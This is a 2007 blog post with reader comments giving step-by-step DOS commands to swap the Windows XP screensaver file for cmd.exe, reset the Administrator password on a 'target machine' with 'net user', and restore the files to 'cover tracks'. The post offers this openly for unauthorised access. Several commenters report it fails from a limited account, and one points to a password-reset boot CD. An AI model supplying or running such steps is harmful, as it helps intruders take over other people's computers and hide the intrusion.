How to Hack Windows XP Admin Password

28 November 2007 5 Comments

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If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly :

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt without logging into XP.

Once this happens if you enter this command :

net user password

If the Administrator Account is called Frank and you want the password blah enter this

net user Frank blah

and this changes the password on franks machine to blah and your in.

Have Fun!

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

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# 29 November 2007 at 2:28 am

zahid said:

it wont work 4 me…ill explain wot happens after cuz i need to get my dinner

# 17 December 2007 at 11:51 pm

Anonymous said:

Nice try… but I don’t have the permission to create modify or delete any folder or file… Aní other method?

# 12 February 2008 at 3:18 pm

gvs said:

windows willnot allow you to create a file in c drive whn you are in limited account…..

# 9 September 2008 at 1:54 pm

Lance said:

Your actual best bet on resetting the admin password is getting a boot utility. My favorite one is Hirens Boot CD, you download it, burn it to a CD and use it while the computer is booting up. It also comes with many other helpful tools within the CD. Google it.

# 12 September 2008 at 8:24 am

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